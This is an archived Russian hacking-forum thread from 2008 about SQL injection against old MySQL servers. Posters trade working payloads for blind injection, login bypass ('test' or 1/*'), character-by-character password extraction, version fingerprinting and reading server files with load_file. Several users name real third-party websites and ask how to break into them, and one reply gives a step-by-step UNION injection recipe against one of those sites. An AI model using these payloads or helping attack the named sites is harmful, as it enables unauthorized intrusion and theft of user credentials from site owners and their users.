Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

RE: Кто объяснит вопрос по TABLE_SCHEMA?

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Для начинающих] >> RE: Кто объяснит вопрос по TABLE_SCHEMA?
Имя
Сообщение << Старые топики   Новые топики >>
RE: Кто объяснит вопрос по TABLE_SCHEMA? - 2008-11-06 11:07:50.233333   
oRb

Сообщений: 4044
Оценки: 597
Присоединился: 2007-03-28 18:45:06.630000
Возможно слово юнион просто вырезается
quote:

я проверил, это не фильтрация, они просто не работают. Например id=1/*UNION работает

Тогда получится "id=1/*" и тогда оно тоже будет верным

Ошибки выводятся?

Попробуй раскрутить как blind sql.
Post #: 601
RE: Кто объяснит вопрос по TABLE_SCHEMA? - 2008-11-06 12:50:25.826666   
S00pY

Сообщений: 785
Оценки: 0
Присоединился: 2007-04-14 20:44:05.376666

quote:

ORIGINAL: oRb

Возможно слово юнион просто вырезается
quote:

я проверил, это не фильтрация, они просто не работают. Например id=1/*UNION работает

Тогда получится "id=1/*" и тогда оно тоже будет верным

Ошибки выводятся?

Попробуй раскрутить как blind sql.

Насчёт блинды он говорит подзапросы не катят((
Хотя надо взглянуть своими слегка опухшими глазами ))
Выложи урл…
Post #: 602
RE: Кто объяснит вопрос по TABLE_SCHEMA? - 2008-11-06 14:57:12.873333   
horiz

Сообщений: 892
Оценки: 0
Присоединился: 2008-11-03 18:33:09.006666
quote:


quote:



ORIGINAL: horiz
Например id=1/*UNION работает


и не будет, синтаксис неправильный

id=1/**/UNION/**/SELECT/**/1,2,3…


Этим запросом я проверял, фильтрует ли скрипт слово UNION. Так как ошибки не было, значит не фильтрует, а ошибку вызывает сам мускул (если это он).



quote:

Возможно слово юнион просто вырезается

quote:

я проверил, это не фильтрация, они просто не работают. Например id=1/*UNION работает

Тогда получится "id=1/*" и тогда оно тоже будет верным

Ошибки выводятся?


Если UNION и вырезается то рекурсивно (хотя лично я сомневаюсь в том, что ихние кодеры знают, что это такое:)), я пробовал uniUNIONon .
Когда я пробую ORDER BY грузится страница, но когда число больше кол-ва столбцов, в месте вывода контента появляется "Ошибка: WARNING" а шапка и ноги остаются.
Но когда я пробую UNION или подзапросы, или просто неверный синтаксис (UNON и т.д.) страница уже не грузится а вылетает
"Ошибка: WARNING
Ошибка: WARNING".
Т.е. такое ощущение, будто скулу, что UNION, что blablabla все едино

Сейчас хочу попробовать слепым перебором хоть версию вытащить.


quote:

Хотя надо взглянуть своими слегка опухшими глазами ))
Выложи урл…

Господа извините, но урла я Вам выдать не могу.
Post #: 603
RE: Кто объяснит вопрос по TABLE_SCHEMA? - 2008-11-06 20:14:34.540000   
horiz

Сообщений: 892
Оценки: 0
Присоединился: 2008-11-03 18:33:09.006666
Слепым перебором мне удалось вытащить, что это MySQL 3.23.
Чё с ним делать ума не приложу.
Post #: 604
RE: Кто объяснит вопрос по TABLE_SCHEMA? - 2008-11-06 20:41:18.166666   
Pashkela

Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
SIPT 4.0
Post #: 605
RE: Кто объяснит вопрос по TABLE_SCHEMA? - 2008-11-06 20:57:43.213333   
horiz

Сообщений: 892
Оценки: 0
Присоединился: 2008-11-03 18:33:09.006666
А если мне интересно ручками инжекты ковырять?:)
Прогами - это неспортивно.
Post #: 606
RE: Кто объяснит вопрос по TABLE_SCHEMA? - 2008-11-06 21:05:40.120000   
Pashkela

Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
Брутить ручками? Ню-ню
Post #: 607
RE: Кто объяснит вопрос по TABLE_SCHEMA? - 2008-11-06 21:11:15.023333   
horiz

Сообщений: 892
Оценки: 0
Присоединился: 2008-11-03 18:33:09.006666
Так что именно брутить, если ни UNION ни подзапросы не работают?
Допустим database() и user(), но что мне это даст?
Post #: 608
RE: Кто объяснит вопрос по TABLE_SCHEMA? - 2008-11-06 21:15:43.556666   
koro

Сообщений: 977
Оценки: 0
Присоединился: 2008-08-08 09:39:07.460000
quote:

ORIGINAL: Pashkela

SIPT 4.0

я сам пользуюсь, но иногда бывает ему уже полураскрученную скуль кидаешь а он не видит нифига…
п.с. естесно настраиваю правильно
Post #: 609
RE: Кто объяснит вопрос по TABLE_SCHEMA? - 2008-11-06 21:24:10.010000   
Pashkela

Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
Union была введена начиная с 4-ой версии

вот пока почитай:

http://www.xakep.ru/magazine/xa/111/056/1.asp
Post #: 610
RE: Кто объяснит вопрос по TABLE_SCHEMA? - 2008-11-06 21:42:17.463333   
horiz

Сообщений: 892
Оценки: 0
Присоединился: 2008-11-03 18:33:09.006666
Я эту статью читал сто раз.
Какое она имеет отношение к такому мамонту, как MySQL 3.23?
Post #: 611
RE: Кто объяснит вопрос по TABLE_SCHEMA? - 2008-11-06 21:47:00.166666   
Pashkela

Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
MySQL v3.x Injection INTRO Почему я решил о ней тебе рассказать? Потому что, если ты читал статью Константина, ты знаешь, что есть оператор объединения UNION (а если не читал и не знаешь-то исправь сие недоразумение =) ). Но есть одно НО: в третьей версии мускла его не существует! Т.е. как бы ты ни пытался вводить запросы типа: http://victim.com/news.php?id=1+UNION+SELECT+*+from+mysql.user/* то скрипт тебя упорно будет посылать (нет, не туда, куда ты подумал =)) на страницу с ошибкой. Что же делать - спросишь ты, - Ведь злонамеренный запрос не исполнится, а значит я не получу заветную базу данных в мою коллекцию?! Нет, - скажу я. Есть такое понятие как дихотомический поиск. Под этим страшным названием скрывается довольно обычная вещь - запросы перебора. Что это такое? Например, ты хочешь узнать версию мускла. В обычных условиях ты выполнишь UNION-оператор с запросом типа UNION+SELECT+VERSION() в самом простом раскладе, но такая тема тут не прокатит. Код: http://victim.com/news.php?id=1+and+ascii(lower(substring(Version(), 1,1)))&lt;82 http://victim.com/news.php?id=1+and+ascii(lower(substring(Version(), 1,1)))&lt;60 http://victim.com/news.php?id=1+and+ascii(lower(substring(Version(), 1,1)))&gt;49 http://victim.com/news.php?id=1+and+ascii(lower(substring(Version(),1,1)))=55 При таком запросе возможно выведение версии БД. Давай рассмотрим запрос поближе: --&gt; Функция ascii(ch) возвращает ascii-код символов ”ch”, переданных в качестве параметра. --&gt; Функция substring(str, num, count) возвращает символы из строки ”str” с номера символа ”num” по количество символов ”count”. Далее все выражение сравнивается с кодом символа. После того, как ты найдешь правильный символ, страница будет выведена без ошибки. Допустим, надо проверить доступ твоего юзера к mysql.user: Код: http://victim.com/news.php?id=1+and+ascii(lower(substring((SELECT+pa ssword+FROM+mysql.user),1,1)))&gt;0[/b] Если сценарий ничего полезного не вернул, то прав у тебя на БД нет. Tricks Если идет какая та фильтрация, если ты не можешь узнать что-то, это не повод расстраиваться! Существуют некоторые полезные вещи, которые ты можешь использовать: Пройти авторизацию при недостаточной фильтрации: Код: http://victim.com/admin.php?pass=test'+or+1/* http://victim.com/admin.php?pass=test'+and+1/* Таким образом, проверяя скрипт, можно пройти авторизацию, не зная пароля. Также с помощью limit можно пройти авторизацию за любого клиента БД. Подсчет количества полей также используется с limit-параметром: Код: http://victim.com/admin.php?pass=test'+or+1+limit+10,1/* http://victim.com/admin.php?pass=test'+or+1+limit+6,1/* http://victim.com/admin.php?pass=test'+or+1+limit+5,1/* http://victim.com/admin.php?pass=test'+or+1+limit+3,1/* Последний и предпоследний запросы не возвратили ошибку, следовательно, количество полей - 5. Также хакер может получить имена столбцов, перебором таблиц в булевых запросах: Код: http://victim.com/admin.php?pass=test'+or+1/* http://victim.com/admin.php?pass=test'+or+name=name/* http://victim.com/admin.php?pass=test'+or+password=password/* http://victim.com/admin.php?pass=test'+or+pass=pass/* Запрос без ошибки покажет, что данный столбец существует. Иногда при наличии двух и более таблиц, понадобится кроме имени столбца указать еще им или псевдоним таблицы: Код: http://victim.com/admin.php?pass=test'+or+1/* http://victim.com/admin.php?pass=test'+or+passwords.name=passwords.name/* http://victim.com/admin.php?pass=test'+or+passwords.login=passwords.login/* http://victim.com/admin.php?pass=test'+or+passwords.password=passwords.password/* http://victim.com/admin.php?pass=test'+or+passwords.pass=passwords.pass/* Опять таки, при отсутствии ошибок, данные существуют. Для последовательного подбора символов пароля можно сделать так: Код: http://victim.com/admin.php?pass=test'+or+pass+like+'a%'/* http://victim.com/admin.php?pass=test'+or+pass+like+'b%'/* ... http://victim.com/admin.php?pass=test'+or+pass+like+'h%'/* Последний запрос не вывел ошибку, следовательно, у пользователя helkern_admin пароль начинается с буквы ”h”. Точно также подбираются остальные символы: Код: http://victim.com/admin.php?pass=test'+or+pass+like+'ha%'/* … http://victim.com/admin.php?pass=test'+or+pass+like+'hacked%'/* http://victim.com/admin.php?pass=test'+or+pass+like+'hacked_%00'/* Последний запрос вызвал ошибку, что в доступе отказано. Следовательно, пароль админа helkern'а будет hacked. Аналогичным образом можно вместо оператора like (допустим при фильтрации сего) использовать операторы сравнения: Код: http://victim.com/admin.php?pass=test'+or+pass+&gt;+'r'/* .. http://victim.com/admin.php?pass=test'+or+pass+&gt;+'z'/* Ошибка! Значит, пароль начнется с ”z”. Также подбираем остальные символы. Подбор пароля происходит таким же образом. Что если у тебя заказ на какого то конкретного юзверя Васю, а не на великого админа helkern'а? ( сильно не пинайте за мою любовь к себе. тихо сам с собою, левою рукою =) ). Можно конечно поиметь пароль админа, но настоящие хеки делают все честно - подбирают пароль юзера Васи следующим образом: Код: http://victim.com/admin.php?pass=test'+or+pass+like+'o%'+and+login=' вася'/* http://victim.com/admin.php?pass=test'+or+pass+like+'on%'+and+login= 'вася'/* ... http://victim.com/admin.php?pass=test'+or+pass+like+'onanist_%'+and+ login='вася'/* В последнем запросе выдалась ошибка, значит, пароль юзера васи будет onanist. "Кто что хочет, то и дрочит (c) rijy =) ". Также есть еще один интересный способ узнать версию БД: Код: http://victim.com/news.php?id=1+/*!00000+and+0+*/ http://victim.com/news.php?id=1+/*!30000+and+0+*/ http://victim.com/news.php?id=1+/*!40000+and+0+*/ http://victim.com/news.php?id=1+/*!50000+and+0+*/ Допустим, появилось сообщение во втором запросе, что записи не найдены. Это значит, что версия равна как минимум 3.0. Сообщение об ошибке в 3 запросе свидетельствует о сервере версии 4.0. Используем дихотомический поиск: Код: http://victim.com/news.php?id=1+/*!00000+and+0+*/ записи не найдены http://victim.com/news.php?id=1+/*!20000+and+0+*/ записи не найдены http://victim.com/news.php?id=1+/*!30000+and+0+*/ записи не найдены http://victim.com/news.php?id=1+/*!40000+and+0+*/ какое то значение =&gt; Сервер имеет БД типа 3.x http://victim.com/news.php?id=1+/*!32000+and+0+*/ записи не найдены http://victim.com/news.php?id=1+/*!33000+and+0+*/ какое то значение =&gt; Сервер имеет БД типа 3.2x.xx http://victim.com/news.php?id=1+/*!32500+and+0+*/ какое то значение Версия меньше 3.25.00 http://victim.com/news.php?id=1+/*!32300+and+0+*/ записи не найдены Версия больше 3.23.00 http://victim.com/news.php?id=1+/*!32400+and+0+*/ какое то значение версия вида 3.23.xx[ http://victim.com/news.php?id=1+/*!323350+and+0+*/ какое то занчение == Версия меньше 3.23.50 http://victim.com/news.php?id=1+/*!32330+and+0+*/ записи не найдены == Версия вида 3.23.4x[ http://victim.com/news.php?id=1+/*!32345+and+0+*/ какое то значение == Версия меньше 3.23.45 http://victim.com/news.php?id=1+/*!32343+and+0+*/ записи не найдены == 3.23.43 http://victim.com/news.php?id=1+/*!32344+and+0+*/ какое то значение Версия БД равна 3.23.45. Так что такой поиск аналогичен функции version(). OUTRO На этом мы закончили вводный курс в дихотомический поиск или "Fuck The MySQL 3.x". Теперь ты достаточно знаешь, чтобы хвалиться перед друзьями собранными акками с крутых порталов =) Удачи тебе, перец! (c) Helkern
+ вот:

http://www.securitylab.ru/contest/212101.php

+ вот:

http://forum.antichat.ru/threadnav37037-3-10-blind+sql.html

+ вот:

http://forum.antichat.ru/thread84949-blind+sql.html

+вот:

https://forum.antichat.ru/threadnav43966-1-10.html

+ вот:

http://forum.antichat.ru/thread56221-blind+sql.html
Post #: 612
RE: Кто объяснит вопрос по TABLE_SCHEMA? - 2008-11-06 22:07:32.573333   
horiz

Сообщений: 892
Оценки: 0
Присоединился: 2008-11-03 18:33:09.006666
Спасибо большое (+2) Pashkela!
Post #: 613
RE: Кто объяснит вопрос по TABLE_SCHEMA? - 2008-11-07 18:44:39.006666   
horiz

Сообщений: 892
Оценки: 0
Присоединился: 2008-11-03 18:33:09.006666
Подскажите пожалуйста.
Допустим на некотором сайте выполняется запрос:
SELECT * FROM users WHERE name='[name]' AND pass='[pass]';
Параметры [name] и [pass] передаются через GET/POST.
Совсем ли это дохлый номер при экранировании кавычек? (Случаи с двойным урлэнкодом и тупым брутом не рассматриваю)


и еще, существуют ли способы обхода защиты типа:
$id=(INT)$_GET[id];
Может есть для этого какие-нибудь баги в PHP?
Post #: 614
RE: Кто объяснит вопрос по TABLE_SCHEMA? - 2008-11-07 20:06:42.506666   
oRb

Сообщений: 4044
Оценки: 597
Присоединился: 2007-03-28 18:45:06.630000
quote:

$id=(INT)$_GET[id];

без шансов

А про экранирование: есть возможность, но это только при определенных кодировках (читай последний ][)
Post #: 615
RE: Кто объяснит вопрос по TABLE_SCHEMA? - 2008-11-07 20:32:37.086666   
horiz

Сообщений: 892
Оценки: 0
Присоединился: 2008-11-03 18:33:09.006666
Спасибо oRb. (+)
Но все равно я из этого ничего не смогу выжать.
Я ведь арабов ломать не собираюсь.:)


Тут еще вот такой вопрос есть:
как я могу проверить, включены ли register_globals на сервере?
Post #: 616
RE: Кто объяснит вопрос по TABLE_SCHEMA? - 2008-11-07 20:44:34.240000   
Pashkela

Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
Это являестся одной из угроз безопасноти,которая более-менее исправлена.ну иногда навстречаются сервера без патча,потмоу упомяну. Еще из php b php4,во время передачи данных в скриптах в качестве зарегистрированных глобальных переменных.Например: Код: script.php?somevar=blahblah&anothervar=123 Если пхп настройки вашего сервера позволяют зарегистрированные глобальных переменных,переменные somevar и anothervar станут глобальные переменные PHP $ somevar (содержащие строку "blahblah") и $ anothervar (содержит целое число 123). Вы не должны использовать громоздкие $ _GET [ 'somevar'] и $ _GET [ 'anothervar'].Так как это создает угрозу безопасности.Если злоумышленник каким-то образом узнает имена переменных в ваших скриптах и приходит к выводу о том, что вы используете переменные без ее инициализации , все что он доллжен сделать, это пройти на определнный юрл, как в примере выше. Часто испоьзуют "неинициализированные" переменные,тоесть: Код: &lt;?php if ($a=1) $somevar="thisorthat"; $res= mysql_query("INSERT INTO sometable (somefield) VALUES ('{$somevar}')"); ?&gt; Начинающий PHP-программист думает , что $ somevar является NULL, если $ не 1 , поэтому SQL будет действителен. Но хакер увидит возможность!
Post #: 617
RE: Кто объяснит вопрос по TABLE_SCHEMA? - 2008-11-07 21:41:32.586666   
horiz

Сообщений: 892
Оценки: 0
Присоединился: 2008-11-03 18:33:09.006666
Pashkela, я это понимаю. Я хочу узнать, как мне без ковыряния исходников (только командами) определить включены ли register_globals или нет?
Post #: 618
RE: Кто объяснит вопрос по TABLE_SCHEMA? - 2008-11-08 00:12:22.850000   
bobik23

Сообщений: 129
Оценки: 0
Присоединился: 2008-09-20 00:35:23.616666
http://chess.rambler.ru/app_support/SmartError.aspx?1&eid=rainbow_rb_Admin_e620382a3eea44be9fa3c07a62bc84d7
плиз подскажите вот тут один сайт я хотел-бы только узнать есть тут уязвимость кокая-нить, не могу найти sql injection

Post #: 619
RE: Кто объяснит вопрос по TABLE_SCHEMA? - 2008-11-08 09:49:20.300000   
koro

Сообщений: 977
Оценки: 0
Присоединился: 2008-08-08 09:39:07.460000
quote:

ORIGINAL: bobik23

http://chess.rambler.ru/app_support/SmartError.aspx?1&amp;eid=rainbow_rb_Admin_e620382a3eea44be9fa3c07a62bc84d7
плиз подскажите вот тут один сайт я хотел-бы только узнать есть тут уязвимость кокая-нить, не могу найти sql injection

в этом запросе нет
Post #: 620
RE: Кто объяснит вопрос по TABLE_SCHEMA? - 2008-11-08 16:55:07.826666   
bobik23

Сообщений: 129
Оценки: 0
Присоединился: 2008-09-20 00:35:23.616666
да понятно что в этом запросе нет я хотел -бы знать сайт уезвим или нет ,и как проверить на уезвимость
http://www.chessplanet.ru/
сам он написан на html а когда я подстовляю doc http://www.chessplanet.ru/doc/ то страничка после переключается в конце aspx я еге весь перековырял не ужели есть сайты которые не возможно ламонуть
http://chess.rambler.ru/Portals/_Rainbow/testFlash/flashversion.aspx
самое важное тут как заюзать
Post #: 621
RE: Кто объяснит вопрос по TABLE_SCHEMA? - 2008-11-08 17:39:13.826666   
horiz

Сообщений: 892
Оценки: 0
Присоединился: 2008-11-03 18:33:09.006666
Я только начинающий, но мысли есть:
1)
quote:

сам он написан на html

Возмодно интерпритатор настроен на интерпритирование кода в документах *.html
В таком случае код может только собирать статистические сведения и куда-нибудь их сохранять (скорее всего в БД).
2)
Возможно все, что передается после http://www.chessplanet.ru/doc/ является не файлом, а параметром.

З.Ы.
Если тебе это поможет, то мне сказали на http://madnet.name/tools/madss/ следующее:

http://www.chessplanet.ru IP: 81.176.69.181 [] ТИЦ: 400 PR: 5 Reverse DNS: s6.in-solve.com Запрещено к индексированию: Не найден Сайты на сервере(ReverseIP): arivik-reisen.ru [81.176.69.181] asa.1gb.ru [81.176.69.181] asa.1gb.ru [81.176.69.181] avant.1gb.ru [81.176.69.181] avant.1gb.ru [81.176.69.181] besdesign.ru [81.176.69.181] bn.eup.ru [81.176.69.181] bn.eup.ru [81.176.69.181] chessplanet.ru [81.176.69.181] chessplanet.ru [81.176.69.181] citroen-ds.1gb.ru [81.176.69.181] citroen-ds.1gb.ru [81.176.69.181] cmpefl.1gb.ru [can't get ip] cmpefl.1gb.ru [can't get ip] counter.1gb.ru [81.176.69.181] counter.1gb.ru [81.176.69.181] dedcharter.ru [81.176.69.181] doodley.1gb.ru [81.176.69.181] eroshenko.1gb.ru [81.176.69.181] eroshenko.1gb.ru [81.176.69.181] fist-samgasa.1gb.ru fist-samgasa.1gb.ru geofaker.1gb.ru geofaker.1gb.ru inbanner.1gb.ru iv-arta.ru ivanovojbi.ru ivanovojbi.ru ivcement.1gb.ru jvnd.ru knockdown.ru knockdown.ru label.doodley.ru label.doodley.ru livelectro.1gb.ru livelectro.1gb.ru livelectro.ru magdynasty.ru magdynasty.ru monamy.ru moscow.1gb.ru moscow.1gb.ru navigator-omsk.ru navigator-omsk.ru photo.in-solve.ru photo.in-solve.ru posad.1gb.ru posad.1gb.ru puttingsoft.1gb.ru shipilov.net ups.saper.ru ups.saper.ru www.4dr.ru www.acetime.ru www.acetime.ru www.antonsedov.com www.arivik-reisen.ru www.avantmusic.ru www.avantmusic.ru www.avjp.ru www.avjp.ru www.awd17.com www.awd17.md www.awd17.md www.awdesign.ru www.awdesign.ru www.billiardmaster.ru www.bristars.ru www.bristars.ru www.chessonline.ru www.educatrain.ru www.educatrain.ru www.expressia.ru www.expressia.ru www.fitnes-malino.ru www.globus-ivanovo.ru www.happygift.ru www.happygift.ru www.isf-consult.ru www.isf-consult.ru www.iskatel.net www.iskatel.net www.ivcement.ru www.ivcement.ru www.jerseytour.ru www.jerseytour.ru www.jvnd.ru www.mirakb.ru www.monamy.ru www.mygarage.ru www.mygarage.ru www.npoagat.ru www.npoagat.ru www.npstoik.ru www.npstoik.ru www.optimal-center.ru www.optimal-center.ru www.paritet-translation.ru www.presents-tea.ru www.progsrv.ru www.progsrv.ru www.ragga.ru www.ragga.ru www.remont-mebel.ru www.remont-mebel.ru www.renessans-plus.ru www.renessans-plus.ru www.sb-vip.ru www.sb-vip.ru www.sfera-ts.ru www.sfera-ts.ru www.shipilov.net www.sibe.ru www.sibe.ru www.skybuild.ru www.sonnoecarstvo.ru www.sonnoecarstvo.ru www.specdetail.ru www.subook.ru www.svarka-splav.ru www.svarka-splav.ru www.tenzo.ru www.tenzo.ru www.traveller.msk.ru www.traveller.msk.ru www.vdhotel.ru www.vdhotel.ru zizz.ru Структура сайта: root chessplanet.ru
Post #: 622
RE: Кто объяснит вопрос по TABLE_SCHEMA? - 2008-11-08 18:09:20.793333   
koro

Сообщений: 977
Оценки: 0
Присоединился: 2008-08-08 09:39:07.460000
quote:

Возмодно интерпритатор настроен на интерпритирование кода в документах *.html

извиняюсь недопонял, а как это?

Post #: 623
Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2008-11-08 19:06:35.513333   
oRb

Сообщений: 4044
Оценки: 597
Присоединился: 2007-03-28 18:45:06.630000
quote:

извиняюсь недопонял, а как это?

Серверу все равно какое у файла расширение, какое настроешь такое и будет.
зы: Не оффтопим!! Тема про скл-инъекции
Post #: 624
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2008-11-10 12:56:53.363333   
horiz

Сообщений: 892
Оценки: 0
Присоединился: 2008-11-03 18:33:09.006666
Сидел я на лекции…
И тут зашла ко мне в голову интересная мысля на тему блинд инъектов.
Допустим, есть на сайте выбор страницы из базы по id. (распространенный случай)
SELECT * FROM pages WHERE id=[id];

И, допустим, UNION не работает. (кодер не полный лох и поставил фильтрацию по нему)
Что остается? Слепая инъекция.
А теперь допустим, что инфы нужно извлечь много.
Перебор по попаданию кода символа в определенный диапазон получится ОЧЕНЬ долгим.
А теперь допустим, что страниц в базе много. (для полного кайфа >=255)
Тогда можно получать один символ за один запрос!!!:)
Пишем брут, который сначала перебором создаст базу всех страниц.
?id=1
?id=2

?id=255

Вторым шагом будет собственно сбручивание всего подряд.
?id=ascii(substring((SELECT…),1,1))

И таким образом по виду вернувшейся страницы, мы точно узнаем код символа.
Если еще для всех генерируемых страниц будут разные титлы, то даже не понадобится догружать страницу целиком.

Даже если выводимых страниц мало, для тех же хешей паролей нам нужно будет всего 16 страниц, айдишники которых можно будет связать уравнением с возвращаемыми кодами символов.


А теперь рассмотрим совсем хронический случай, когда не работает не только UNION, но и SELECT. (Опять же, кодер не полный лох и поставил фильтрацию и по нему, или же админ полный лох и юзает MySQL MAMONT EDITION <4.0:))
В таком случае при наличии прав можно брутом посимвольно читать файлы на сервере.
?id = ascii(substring(load_file(“filename.php”),1,1));

Как правило, много брутить не придется, т.к. вшитые пароли, инклуды и т.д. обычно помещают в начале кода.

Ну, вот вроде и все. Жду Ваших отзывов.
З.Ы. Заранее извиняюсь, если изобрел велосипед.
Post #: 625
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2008-11-10 20:32:19.536666   
Pashkela

Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
Дело не велосипеде, просто есть такое слово - автоматизация. О чем я тебе и писал чуть повыше. Ты тогда сказал "ручками" интересней". Но сам пришел к правильному решению (пост твой внимательно не читал, но видно, что таки приходим к бруту прогамным путем)
Post #: 626
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2008-11-10 21:05:24.886666   
horiz

Сообщений: 892
Оценки: 0
Присоединился: 2008-11-03 18:33:09.006666
В тот раз я видимо неправильно выразился.
Я имел в виду, что ручками интересней ломать - прощупывать дырку, определять типы фильтраций и т.д.
Брутить уже ощупанную дыру руками, ясное дело, будет только мазохист.
В случае, который я рассмотрел автоматизированный брут идет гораздо быстрее и расширяются его возможности.
Post #: 627
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2008-11-11 20:11:37.780000   
oRb

Сообщений: 4044
Оценки: 597
Присоединился: 2007-03-28 18:45:06.630000
quote:

З.Ы. Заранее извиняюсь, если изобрел велосипед.

Вообщем ты не изобрел, что-то новое, просто врубился в тему ;)
quote:

Пишем брут, который сначала перебором создаст базу всех страниц.
?id=1
?id=2

?id=255

Вот это не совсем понятно зачем.
quote:

В таком случае при наличии прав можно брутом посимвольно читать файлы на сервере.
?id = ascii(substring(load_file(“filename.php”),1,1));

У пользователя бд должны быть включены файловые привилегии.
quote:

И, допустим, UNION не работает. (кодер не полный лох и поставил фильтрацию по нему)

Если Union просто выреается, то можно попробовать использовать конструкции типа: UNIunionON. Если админ не использует рекурсивное вырезание.

ЗЫ: я использовал mysqlinjtool с поддержкой Blind SQL + допиливал его под разные сайты.
Post #: 628
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2008-11-11 20:23:04.656666   
horiz

Сообщений: 892
Оценки: 0
Присоединился: 2008-11-03 18:33:09.006666
quote:

quote:

Пишем брут, который сначала перебором создаст базу всех страниц.
?id=1
?id=2

?id=255


Вот это не совсем понятно зачем.

Как зачем. А с чем же брут будет сравнивать полученный результат?
В этом случае, за один запрос, я буду получать не одно значение из двух как при обычной слепой инъекции, а одно из 256. В этом то вся фишка.
Получается, что я извлеку любой символ за один запрос.:)

quote:

quote:

И, допустим, UNION не работает. (кодер не полный лох и поставил фильтрацию по нему)


Если Union просто выреается, то можно попробовать использовать конструкции типа: UNIunionON. Если админ не использует рекурсивное вырезание.


Если бы я писал защиту, то не вырезал бы команды, а прерывал бы работу при их нахождении.


quote:

quote:

В таком случае при наличии прав можно брутом посимвольно читать файлы на сервере.
?id = ascii(substring(load_file(“filename.php”),1,1));


У пользователя бд должны быть включены файловые привилегии.

Я же так и написал.
Post #: 629
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2008-11-11 20:47:57.156666   
oRb

Сообщений: 4044
Оценки: 597
Присоединился: 2007-03-28 18:45:06.630000

quote:

ORIGINAL: horiz

quote:

quote:

Пишем брут, который сначала перебором создаст базу всех страниц.
?id=1
?id=2

?id=255


Вот это не совсем понятно зачем.

Как зачем. А с чем же брут будет сравнивать полученный результат?
В этом случае, за один запрос, я буду получать не одно значение из двух как при обычной слепой инъекции, а одно из 256. В этом то вся фишка.
Получается, что я извлеку любой символ за один запрос.:)

Все понял тебя. Можно себе упростить задачу, вернее даже нужно.
?id=1 and ascii(substring((SELECT…),1,1))=1
Тогда если будет правильный резльтат страница выведется, то есть не надо скачивать 200 страниц с сайта ;)
Post #: 630
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2008-11-11 21:02:29.983333   
horiz

Сообщений: 892
Оценки: 0
Присоединился: 2008-11-03 18:33:09.006666
quote:

?id=1 and ascii(substring((SELECT…),1,1))=1

Я не совсем понял, что ты хотел сказать. При переборе так каждого значения мне понадобится 256 запросов на один сбрученый символ.
Для того чтобы за один запрос идетифицировать зачение 1 из 256 (то есть один символ) мне надо знать какому номеру (ascii-коду) соответствует вернувшаяся страница.
для этого мне заранее надо будет создать базу соответствий:
номер->вид страницы.
Мой запрос будет возвращать страницу под номером текущего символа.
Post #: 631
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2008-11-11 21:23:47.140000   
oRb

Сообщений: 4044
Оценки: 597
Присоединился: 2007-03-28 18:45:06.630000
Да, тоже не плохой вариант, но если страниц меньше чем 256, то жопа:)
Можно пользоваться >, <, =. Тогда количество запросов сократится в разы.
Post #: 632
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2008-11-11 21:50:35.440000   
horiz

Сообщений: 892
Оценки: 0
Присоединился: 2008-11-03 18:33:09.006666
Почему же жопа?
Во-первых, не все символы [0-255] используются.
Во-вторых, можно использовать два запроса на один символ. Тогда будет достаточно 16 страниц. Я уже практически составил эти запросы.

Старые блинды ориентировались на ответ "страница или ошибка", т.е. для сбручивания одного символа надо аж 8 запросов!
Для сбручивания по моему принципу "какой id соответствует вернувшейся странице" один символ можно сбрутить за 1, в худшем случае 2 запроса!!!!!!!!!!!:):):)
В любом случае колоссальный выигрыш.
Post #: 633
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2008-11-21 14:52:48.300000   
horiz

Сообщений: 892
Оценки: 0
Присоединился: 2008-11-03 18:33:09.006666
Подскажите кто-нибудь.
Когда я отправляю неверный запрос, на одних серваках вылетает ошибка PHP, мол, ошибка в таком-то файле, такой-то строке (с открытием полного пути к файлу). Вылет таких ошибок регламентирует DISPLAY_ERRORS=on|off.
Но на других серваках вылетает ошибка мускула, открывающая запрос к базе.
Отчего так происходит?
Это директивы конфигурации самого мускула?
Post #: 634
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2008-11-22 17:40:28.350000   
alex7474

Сообщений: 54
Оценки: 0
Присоединился: 2008-09-11 11:29:55.193333
помогите подобрать иньекцию или подтолкните меня безтолкового !(
http://www.usetender.com/view_other_company_face.shtml?sid=&faceid=-1
Post #: 635
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2008-11-22 18:13:26.736666   
horiz

Сообщений: 892
Оценки: 0
Присоединился: 2008-11-03 18:33:09.006666
quote:

помогите подобрать иньекцию или подтолкните меня безтолкового !(
http://www.usetender.com/view_other_company_face.shtml?sid=&faceid=-1


1) Определяем наличие дыры.
&faceid=1
&faceid=2-1
Если результаты будут одинаковы, то здесь дыра.
Если нет ошибок и разные результаты - то это дохлый номер.

2) Определение типа БД
&faceid=1+/*!00000 '*/
Если вылетела ошибка значит это мускул

3) UNION
&faceid=-1+UNION+SELECT+1–
&faceid=-1+UNION+SELECT+1,2–
&faceid=-1+UNION+SELECT+1,2,3–
и т.д. пока не перестанет вылетать ошибка.
Допустим сработал запрос:
&faceid=-1+UNION+SELECT+1,2,3–
И где-нибудь вылезла цифра 2. Значит второе поле выводится.
&faceid=-1+UNION+SELECT+1,version(),3–
&faceid=-1+UNION+SELECT+1,database(),3–
&faceid=-1+UNION+SELECT+1,user(),3–
Если версия выше 5 считай, что тебе повезло.
Попробуй и напиши, что получилось.
Post #: 636
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2008-11-22 18:23:58.536666   
alex7474

Сообщений: 54
Оценки: 0
Присоединился: 2008-09-11 11:29:55.193333
